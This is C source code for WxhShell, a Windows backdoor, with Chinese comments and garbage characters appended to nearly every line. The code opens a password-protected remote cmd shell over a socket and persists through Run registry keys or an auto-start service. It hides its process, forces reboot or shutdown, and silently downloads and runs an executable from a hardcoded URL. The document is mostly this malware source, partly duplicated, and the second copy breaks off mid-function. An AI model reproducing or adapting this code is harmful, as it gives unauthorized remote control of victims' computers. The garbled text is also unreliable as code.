    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9}Ud'#E  
    if(Boot(SHUTDOWN)) uV!Ax *'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L}*:,&Y/  
    else { {O9CYP:  
    closesocket(wsh); 9E4H`[EQ  
    ExitThread(0); ` =g9Rg/<  
    } wN\%b}pp  
    break; o@mZ6!ax3  
    } K9B_o,  
  // 获取shell k3h,c;  
  case 's': { l5F>v!NA  
    CmdShell(wsh); D]S@U>]M!  
    closesocket(wsh); _]a8lr+_-  
    ExitThread(0); 3JVENn9  
    break; T&c0j(  
  } /L\ ]t  
  // 退出 #;sUAR?]  
  case 'x': { D0 Yl?LU3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^AkVmsv;;  
    CloseIt(wsh); 0)`{]&  
    break; "K n JUXpl  
    } HgPRz C  
  // 离开 u@tJu'X  
  case 'q': { 6:O3>'n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j}7as&  
    closesocket(wsh); ||a 5)D  
    WSACleanup(); bmgK6OyVR  
    exit(1); pXf!8X&y  
    break; x%ju(B>  
        } =QFnab?N  
  } R("g ]  
  } \>0%E{CR  
99w;Q 2k  
  // 提示信息 T+ey>[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,ef"S r  
} }'mVD^<+  
  } YUU|!A8x  
NWWag}  
  return; c Q:.V  
} -\6nT'P  
@RGVcfCG)  
// shell模块句柄 Y?W"@awE"\  
int CmdShell(SOCKET sock) PPSf8-MLW  
{ 9v>BP`Mg  
STARTUPINFO si; EN />f=%  
ZeroMemory(&si,sizeof(si)); @ c,KK~{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Bf33%I~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '2mR;APz  
PROCESS_INFORMATION ProcessInfo; WBD e`  
char cmdline[]="cmd"; lPF(&pP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S`HshYlE q  
  return 0; VN`T:!&  
} =!u9]3)  
Rj 2N+59rg  
// 自身启动模式 4lhoA  
int StartFromService(void) >Pne@w!*  
{ d MQ]=  
typedef struct B7r={P!0  
{ [~03Z[_"/  
  DWORD ExitStatus; K dY3  
  DWORD PebBaseAddress; "S#4  
  DWORD AffinityMask; 8}9|hT;  
  DWORD BasePriority; #-$\f(+<  
  ULONG UniqueProcessId; d\C x(Lb[  
  ULONG InheritedFromUniqueProcessId; ^*.S7.;2o  
}   PROCESS_BASIC_INFORMATION; e=K2]Y Q{  
;/+VHZP;  
PROCNTQSIP NtQueryInformationProcess;  +]Ca_`  
Y2709LWmP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i bA Z*I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ncr38~;w  
;d$PQi  
  HANDLE             hProcess; *fyC@fI>  
  PROCESS_BASIC_INFORMATION pbi; ^DVj_&~  
d'ddxT$GG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;AyE(|U+  
  if(NULL == hInst ) return 0; [=M0%"  
F[PIo7?K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [<SM*fQ>t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6v~` jS%3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y,&.<Yc  
b<,Z^Z_  
  if (!NtQueryInformationProcess) return 0; ]"bkB+I  
jO xH' 1I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n5CjwLgu\b  
  if(!hProcess) return 0; XQL"D)fw  
#?%akQ+w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KWtLrZ(j  
.w5#V|   
  CloseHandle(hProcess); z d 9Gi5&  
_~!*|<A_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l{oAqTN  
if(hProcess==NULL) return 0; jR8~EI+  
8 tq6.%\  
HMODULE hMod; f1GV6/| m  
char procName[255]; <L|eY(:  
unsigned long cbNeeded; s/[15  
0tbximmDb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i*3 4/  
:&D>?{b0  
  CloseHandle(hProcess); |Y' xtOMX  
$nN`K*%  
if(strstr(procName,"services")) return 1; // 以服务启动 Eq$Q%'5*ua  
R^zTgyr  
  return 0; // 注册表启动 ]jo^P5\h>  
} bg.f';C  
&4M0 S+.  
// 主模块 ?DPN a  
int StartWxhshell(LPSTR lpCmdLine) 2 mM0\ja  
{ &_X6m0z  
  SOCKET wsl; |lH~nU.*  
BOOL val=TRUE; A*l(0`aWq  
  int port=0; &t)dE7u5  
  struct sockaddr_in door; c\GJfsVk  
K"'W4bO#7  
  if(wscfg.ws_autoins) Install(); &8!* u3  
c%1 <O!c  
port=atoi(lpCmdLine); *&p`8:  
g1U   
if(port<=0) port=wscfg.ws_port; `P1jg$(eA  
}'HJVB_  
  WSADATA data; :%GxU;<E{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .#n1p:}[  
5G.A\`u%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?^iX%   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Jej P91  
  door.sin_family = AF_INET; gs;3NW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z_fR?~$N2  
  door.sin_port = htons(port); RFF&-M]  
Jp)>Wd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n]&/?6}  
closesocket(wsl); GRpS^%8i@  
return 1; F@Bh>Vb  
} MGn:Gj"d  
9/Q_Jv-Q  
  if(listen(wsl,2) == INVALID_SOCKET) { Bkg/A;H  
closesocket(wsl); ".+wz1  
return 1; _%WJ7~>  
} pQ0yZpN%;  
  Wxhshell(wsl); RB1c!h$u  
  WSACleanup(); cVv>"oF;~*  
G=4Da~<ij  
return 0; 1_vaSEov  
KobNi#O+  
} R03V+t=  
Bvx%|:R  
// 以NT服务方式启动 5=CLR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nA8]/r1k  
{ YpQ/ )fSEV  
DWORD   status = 0; zjd]65P  
  DWORD   specificError = 0xfffffff; =IBdnEz:M  
+gb2>fei&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l'YpSO~l7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5A]IiX4Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "kyy>H9)  
  serviceStatus.dwWin32ExitCode     = 0; 75vd ]45as  
  serviceStatus.dwServiceSpecificExitCode = 0; Ve>*KHDSt  
  serviceStatus.dwCheckPoint       = 0; S3nA}1R  
  serviceStatus.dwWaitHint       = 0; F?2(U\k#  
vPuPSE%M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xM85^B'  
  if (hServiceStatusHandle==0) return; ?! dp0<  
@Tmqw(n{  
status = GetLastError(); ` c~:3^?9d  
  if (status!=NO_ERROR) :w_J/k5Zd  
{ hNXP-s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'qBg^c  
    serviceStatus.dwCheckPoint       = 0; :HhLc'1Jw  
    serviceStatus.dwWaitHint       = 0; oD_'8G}  
    serviceStatus.dwWin32ExitCode     = status; eN]0]9JO  
    serviceStatus.dwServiceSpecificExitCode = specificError; s]Z/0:`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *,1^{mb  
    return; #p~tkQ:'1  
  } yI\  
yBO88rfh>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A S;ra,x  
  serviceStatus.dwCheckPoint       = 0; q[]EVs0$ew  
  serviceStatus.dwWaitHint       = 0; (1\!6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jM1|+o*Wr  
} $5nOiaQL  
H~RWM'_  
// 处理NT服务事件,比如:启动、停止 hnS ~r4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $oK,&_  
{ Vf6lu)Z c1  
switch(fdwControl) mJb>)bO l  
{ Er} xB~<t  
case SERVICE_CONTROL_STOP: '3=[xVnv  
  serviceStatus.dwWin32ExitCode = 0; Uxx=$&#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]t_AXKd  
  serviceStatus.dwCheckPoint   = 0; (_-<3)q4  
  serviceStatus.dwWaitHint     = 0; 'LIJpk3J  
  { Q%~b(4E^7P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); reLYtv  
  } m<00 5_Z0Q  
  return; [ >#?C*s  
case SERVICE_CONTROL_PAUSE: 04NI.Jv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !$hrK6o  
  break; ~$w-I\Q!  
case SERVICE_CONTROL_CONTINUE: k{Yj!C> #  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4VLrl8$K  
  break; cF_`m  
case SERVICE_CONTROL_INTERROGATE: 5{qFKo"g@,  
  break; [r_,BH\nu  
}; m *8[I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O?NAbxkp  
} lwPK^)|}  
|0n h  
// 标准应用程序主函数 l epR}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y ~RPspHW  
{ n5"rSgUtE  
2-nL2f!a{p  
// 获取操作系统版本 cX"[#Em#  
OsIsNt=GetOsVer(); 'wz*GMGWC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _m0H gLS~  
rFZB6A<(]  
  // 从命令行安装 5~4I.+~8  
  if(strpbrk(lpCmdLine,"iI")) Install(); nab:y(]$/  
jy{T=Nb  
  // 下载执行文件 x, a[ p\1  
if(wscfg.ws_downexe) { 95^w" [}4Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <9eQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); Wfkm'BnV  
} 2S}%r4$n}  
qQ%zSJ?  
if(!OsIsNt) { ORlz1 &hW  
// 如果时win9x,隐藏进程并且设置为注册表启动 laqKP+G  
HideProc(); |{cdXbr  
StartWxhshell(lpCmdLine); /ow/)\/}  
} 2qKo|'gL`  
else sl-LX)*N#  
  if(StartFromService()) T=: &W3  
  // 以服务方式启动 g"]%5Ow1  
  StartServiceCtrlDispatcher(DispatchTable); NS6Bi3~  
else zAt!jP0E  
  // 普通方式启动 CF>k_\/Bj  
  StartWxhshell(lpCmdLine); S(mJ;C  
Ta?#o  
return 0; 9I=J#Hi|+  
} >[,Rt"[V  
1 9a"@WB@  
ovzIJbf  
+pc_KR  
=========================================== wA) NB  
N:[m,U9a  
3Gf^IV-  
A_T-]YQ  
qdm5dQ (c  
U*, 8 ,C  
" J]nb;4w  
EnA) Rz  
#include <stdio.h> O[y.3>l[s  
#include <string.h>  IPa08/  
#include <windows.h> LslQZ]3MY  
#include <winsock2.h> `R0>;TdT  
#include <winsvc.h> L7_Mg{  
#include <urlmon.h> $4'I 3{$  
5.F.mUO  
#pragma comment (lib, "Ws2_32.lib") @no]*?Gpa  
#pragma comment (lib, "urlmon.lib") %m!o#y(hD`  
(qlI QC  
#define MAX_USER   100 // 最大客户端连接数 p=\DZU~1  
#define BUF_SOCK   200 // sock buffer \bqNjlu  
#define KEY_BUFF   255 // 输入 buffer @JE:\  
uNl<= 1  
#define REBOOT     0   // 重启 :Y(Yk5  
#define SHUTDOWN   1   // 关机 NWNH)O@  
+cM;d4  
#define DEF_PORT   5000 // 监听端口 p 9XHYf72  
(\.[pj%-O  
#define REG_LEN     16   // 注册表键长度 [yL %+I  
#define SVC_LEN     80   // NT服务名长度 <%<}];bmFL  
I(P|`"  
// 从dll定义API 2GXAq~h@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?cCh?> h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *ZyIbT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R}Uv i9?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :aLShxKA  
gWqmK/.U.0  
// wxhshell配置信息 )Ac8'{Tq/  
struct WSCFG { j#Ly!%dp  
  int ws_port;         // 监听端口 VXZdRsV8T  
  char ws_passstr[REG_LEN]; // 口令 HnUM:-6  
  int ws_autoins;       // 安装标记, 1=yes 0=no e'(n ^_$nl  
  char ws_regname[REG_LEN]; // 注册表键名 +`u]LOAyP=  
  char ws_svcname[REG_LEN]; // 服务名 >#*]/t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X<K[` =I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;5ugnVXu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RPP xiYU^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I/jMe'Kp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WW0N"m'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 71 hv~Nk/x  
Kl{2^ q>  
}; ,AGK O,w  
=r3Yt9  
// default Wxhshell configuration !;pmql  
struct WSCFG wscfg={DEF_PORT, V%dMaX>^i  
    "xuhuanlingzhe", LPb43  
    1, p]*$m=t0r  
    "Wxhshell", r.xGvo{iY  
    "Wxhshell", Vm_y,;/(-R  
            "WxhShell Service", c~ l$_A  
    "Wrsky Windows CmdShell Service", cz OhSbmc  
    "Please Input Your Password: ",  N~EM`d  
  1, B RG1/f d  
  "http://www.wrsky.com/wxhshell.exe", %Gl,V5z&  
  "Wxhshell.exe" Y<:%_]]  
    }; 44f8Hc1g  
n0 _:!]k^  
// 消息定义模块 eT[ ,k[#q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f?#:@ zcL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s#&jE GBug  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kR7IZo" q  
char *msg_ws_ext="\n\rExit."; x% k4Lm  
char *msg_ws_end="\n\rQuit."; Ig"Krz  
char *msg_ws_boot="\n\rReboot..."; RR{]^g51  
char *msg_ws_poff="\n\rShutdown..."; 63UAN0K%  
char *msg_ws_down="\n\rSave to "; @]6)j&  
zOLt)2-<  
char *msg_ws_err="\n\rErr!";  3Fo,F  
char *msg_ws_ok="\n\rOK!"; G'MYTq  
FlOKTY   
char ExeFile[MAX_PATH]; W>K2d  
int nUser = 0; zv  <,  
HANDLE handles[MAX_USER]; Of7j~kdh83  
int OsIsNt; Ag }hyIl  
g}{Rk>k  
SERVICE_STATUS       serviceStatus; bnUpH3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z[0L?~$  
7SoxsT)  
// 函数声明 )_ NQ*m  
int Install(void); FfI $3:9  
int Uninstall(void); PQWo<Uet  
int DownloadFile(char *sURL, SOCKET wsh); u Y V=  
int Boot(int flag); j,/OzVm9  
void HideProc(void); w:r0>  
int GetOsVer(void); J^hj R%H  
int Wxhshell(SOCKET wsl); S-gL]r3G8  
void TalkWithClient(void *cs); ?#ndMv!$  
int CmdShell(SOCKET sock); ZL#4X*zT  
int StartFromService(void); \s`'3y  
int StartWxhshell(LPSTR lpCmdLine); G2ZF`WQ  
yf*MG&}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~)tIO<$U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Pw1V1v&> q  
$ n`<,;^l  
// 数据结构和表定义 #lM!s  
SERVICE_TABLE_ENTRY DispatchTable[] = Mto3Ryic!  
{  .r[DqC  
{wscfg.ws_svcname, NTServiceMain}, szF[LRb  
{NULL, NULL} %.pX!jL  
}; (=CV")tF  
*^=`HE89S  
// 自我安装 k <A>J-|  
int Install(void) 7Nh6 `  
{ _I<eJ\  
  char svExeFile[MAX_PATH]; [ k^6#TQcn  
  HKEY key; $bF.6  
  strcpy(svExeFile,ExeFile); Y{1IRP?S  
JiDX|Q<c  
// 如果是win9x系统,修改注册表设为自启动 kFHqQs aG  
if(!OsIsNt) { /e|`mu%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kR%CSLOVy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N12K*P[!  
  RegCloseKey(key); 702&E(rx,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -1Lh="US  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i:&Y{iPQp  
  RegCloseKey(key); (jPN+yQ  
  return 0; LZ|G"5X[  
    } H_ .@{8I  
  } }LM^>M%  
} KAjKv_6=g  
else { Fq&@dxN3  
l|%7)2TyG)  
// 如果是NT以上系统,安装为系统服务 W6K]jIQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KOV^wSwS  
if (schSCManager!=0) 6G/)q8'G  
{ ?WG9}R[qE/  
  SC_HANDLE schService = CreateService wS%I.  
  ( ] \4-e2N`\  
  schSCManager, +&O[}%W  
  wscfg.ws_svcname, 5G_*T  
  wscfg.ws_svcdisp, ?%JH4I2  
  SERVICE_ALL_ACCESS, qK:.j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +@cf@}W6QC  
  SERVICE_AUTO_START, X@JDfn?A  
  SERVICE_ERROR_NORMAL, Fw!5hR`,  
  svExeFile, r1}OlVbK  
  NULL, @=K> uyB  
  NULL, xRv1zHZ  
  NULL, O2:m)@  
  NULL, #8R\J[9  
  NULL d}>Nl$  
  ); jXGr{n  
  if (schService!=0) 5ii`!y  
  { I> =7|G  
  CloseServiceHandle(schService);  |}QDC/  
  CloseServiceHandle(schSCManager); 4L^KR_h/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bV@53_)N2  
  strcat(svExeFile,wscfg.ws_svcname); ,`P,))  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GJy><'J,!>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 00%$?Fyk  
  RegCloseKey(key); 1#(,Bq4  
  return 0; 2OAh7'8<  
    } "%A/bv\u  
  } VaZS_ qGe:  
  CloseServiceHandle(schSCManager); gpHI)1i'H  
} o8KlY?hX  
} @xtcjB9  
L G,XhN  
return 1; =Q.2:*d.  
} gEO#-tMjOQ  
VMad ]bEf  
// 自我卸载 )!|K3%9  
int Uninstall(void) w/d9S(  
{ e|):%6#  
  HKEY key; 2~2  
@gE +T37x2  
if(!OsIsNt) { ok-sm~bp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n4>  
  RegDeleteValue(key,wscfg.ws_regname); >`5iq.v  
  RegCloseKey(key); n2Dnpe:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { . 2.$Rq  
  RegDeleteValue(key,wscfg.ws_regname); ?j ?{} Z  
  RegCloseKey(key); %a8'6^k  
  return 0; k#JFDw\  
  } S?OK@UEJ  
} s]5wzbFO  
} 7T_g?!sdMh  
else { @s/;y VVq  
x\3 ` W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qoB   
if (schSCManager!=0) O *H:CW  
{ MZ=U} &F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }UXj|SY  
  if (schService!=0) 0Ny0#;P  
  { ;?=nr5;q  
  if(DeleteService(schService)!=0) { KT{ <iz_  
  CloseServiceHandle(schService); RNRMw;cT  
  CloseServiceHandle(schSCManager); }s}b]v  
  return 0; Lt@4F   
  } ]=WJ%p1l  
  CloseServiceHandle(schService); -66|Y  
  } WYRTt2(+%  
  CloseServiceHandle(schSCManager); v^[tK2&v  
} .{5)$w>  
} wCMsaW  
Z)P x6\?+  
return 1; L(`^T`  
} Yah3I@xGy  
@o9EX }  
// 从指定url下载文件 [ ]3xb`<&  
int DownloadFile(char *sURL, SOCKET wsh) #mk#&i3"k  
{ hB P]^~(  
  HRESULT hr; wh|[ "U('  
char seps[]= "/"; C0i:*1  
char *token; ?Sn$AS I  
char *file; ;L(W'+  
char myURL[MAX_PATH]; ?7^('  
char myFILE[MAX_PATH]; .N_0rPO,Kw  
*S~. KW[  
strcpy(myURL,sURL); )\`TZLR  
  token=strtok(myURL,seps); ^w8H=UkP!+  
  while(token!=NULL) u$t*jw\fHg  
  { LP@Q8{'  
    file=token; XXuU@G6Z7$  
  token=strtok(NULL,seps); cX7xG U  
  } L.U [eH  
gWy 2$)  
GetCurrentDirectory(MAX_PATH,myFILE); 87~. |nu  
strcat(myFILE, "\\"); ]hF[f|V  
strcat(myFILE, file); a=p3oh?%-O  
  send(wsh,myFILE,strlen(myFILE),0); pUwx`"DrR  
send(wsh,"...",3,0); MA(\ r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F =iz\O!6  
  if(hr==S_OK) S.t+HwVodO  
return 0; %3fHitCikc  
else [NeOd77y  
return 1; Y&Pi`E9=  
``w,CP ?  
} C~'}RM  
T*k K-@.i  
// 系统电源模块 Q!GB^ P  
int Boot(int flag) hrU.QF8  
{ ;fee<7T y  
  HANDLE hToken; Xa[gDdbL  
  TOKEN_PRIVILEGES tkp; nt "VH5  
% eW>IN]5  
  if(OsIsNt) { n$5,B*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a3HT1!M)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UgSSZ05Lq  
    tkp.PrivilegeCount = 1; W qci51y>#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )P:TVe9`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u6t.$a!5  
if(flag==REBOOT) { pL-p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kn+`2-0  
  return 0; jl3RE|M\<  
} ;OPzT9  
else { ws?p2$Cla  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }(op;7  
  return 0; g3LAi#m  
} N=tyaS(YJ  
  } +s1+;VUs3  
  else { /Lu wPM  
if(flag==REBOOT) { jTSw0\}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *ubLuC+b  
  return 0; 9g^@dfBV  
} :#d$[:r#  
else { D'Byl,W$   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Uk|Xs~@#E  
  return 0; d?b2jZ$r]  
} )l[ +7  
} z[z'.{;D  
8* >6+"w  
return 1; RUX!(Xw  
} h!yF   
pR`.8MMc8  
// win9x进程隐藏模块 F~W*"i+EZ  
void HideProc(void) ,dzbI{@6  
{ 2#T|+mKxZM  
r'{pTgm#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kRSu6r9  
  if ( hKernel != NULL ) 'PV,c|f>  
  { JS({au  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P0' ;65  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KkJcH U  
    FreeLibrary(hKernel); v SHb\V#  
  } &Vnet7LfU  
;Jv)J3y  
return; lG fO  
} I4qzdD  
UupQ* ,dJ  
// 获取操作系统版本 )c]GgPH  
int GetOsVer(void)  Gp@Y=mU  
{ 8 l}tYl`|  
  OSVERSIONINFO winfo; | 2p\M?@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sl |S9Ix  
  GetVersionEx(&winfo); o)"}DeV$&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 84)S0Y8w  
  return 1; j(/"}d3osm  
  else OaU} 9&  
  return 0; t(p  
} W 86S)+h  
I[tU}ojP  
// 客户端句柄模块 +vDT^|2SF  
int Wxhshell(SOCKET wsl) \m5:~,p=  
{ <C# s0UX  
  SOCKET wsh; [RC|W%<Z>  
  struct sockaddr_in client; I>L lc Y  
  DWORD myID; jqb,^T|j;m  
Zu&trxnNf[  
  while(nUser<MAX_USER) xhg{!w  
{ d@,q6R}!MP  
  int nSize=sizeof(client); JXUO?9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9dqD(S#C;"  
  if(wsh==INVALID_SOCKET) return 1; 2=F_<Jh|+  
I?bL4u$\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %b@>riR(y  
if(handles[nUser]==0) LO# {   
  closesocket(wsh); -aKk#fd  
else mUcHsCszH  
  nUser++; L?Wl#wP\;*  
  } .N/4+[2p(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /~g M,*  
<pK; D  
  return 0; 6<rc]T'|  
} "i_tO+  
iLv"ZqGrw  
// 关闭 socket ^4 es  
void CloseIt(SOCKET wsh) 5>h2WL  
{ pA+Qb.z5z  
closesocket(wsh); -lb}}z+/  
nUser--; X903;&Cim  
ExitThread(0); _I5p 7X  
} ' nf"u  
>a_K:O|AJ  
// 客户端请求句柄 <C${1FO7If  
void TalkWithClient(void *cs) ?G!^ |^S*  
{ nez5z:7F  
g.F{yX]  
  SOCKET wsh=(SOCKET)cs; F^A1'J  
  char pwd[SVC_LEN]; $Cc4Sggq  
  char cmd[KEY_BUFF]; ; h/Y9uYn  
char chr[1]; _IT,>#ba  
int i,j; 8b6:n1<fn  
F^`sIrZvs  
  while (nUser < MAX_USER) { e|+uLbN&;c  
-bo0!@MK  
if(wscfg.ws_passstr) { d=lZhqY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  ^B1vvb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {nj\dU  
  //ZeroMemory(pwd,KEY_BUFF); 8 hWQ  
      i=0; A4(^I u  
  while(i<SVC_LEN) { UT[KwM{y  
JhB{aW>  
  // 设置超时 M&Ycw XV:Z  
  fd_set FdRead; q'  _  
  struct timeval TimeOut; :V+t|@m5l  
  FD_ZERO(&FdRead); `pII-dSC%  
  FD_SET(wsh,&FdRead); hDmVv;M:  
  TimeOut.tv_sec=8; Ix1ec^?f  
  TimeOut.tv_usec=0; Zh3]bg5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3bE^[V8/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VMHiuBz:  
[0)iY%^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eYsO%y\I  
  pwd=chr[0]; W{ Nhh3  
  if(chr[0]==0xd || chr[0]==0xa) { '-W p|A  
  pwd=0; ]Ms~;MXlx5  
  break; ;=B&t@  
  } v6oZD;;~  
  i++; Dk ]Y\:  
    } r"5]U`+  
$2;YJjz(  
  // 如果是非法用户,关闭 socket n-H0cm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H3 `%#wQ0j  
} L6l~!bEc  
!H?#~{ W}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jZm1.{[>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cC4*4bMm  
DPy"FQYZb  
while(1) { `@Kh>K  
{/#?n["  
  ZeroMemory(cmd,KEY_BUFF); atl0#FBd  
&y Vii^  
      // 自动支持客户端 telnet标准   V4V TP]'n  
  j=0; "8{u_+_B*  
  while(j<KEY_BUFF) { QKCk. 0Xe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vfc 9 +T+  
  cmd[j]=chr[0]; {d^&$~  
  if(chr[0]==0xa || chr[0]==0xd) { CHBCi) '6h  
  cmd[j]=0; b%|%Rek8  
  break; 8V~w3ssz  
  } XPWK"t0 1  
  j++; mYa0_P%^  
    } ~^Vt)/}Q  
HnOp*FP  
  // 下载文件 ''f  
  if(strstr(cmd,"http://")) { A:NsDEt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7cvbYP\<lv  
  if(DownloadFile(cmd,wsh)) sVh!5fby&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kFuaLEJi  
  else gI\J sN  
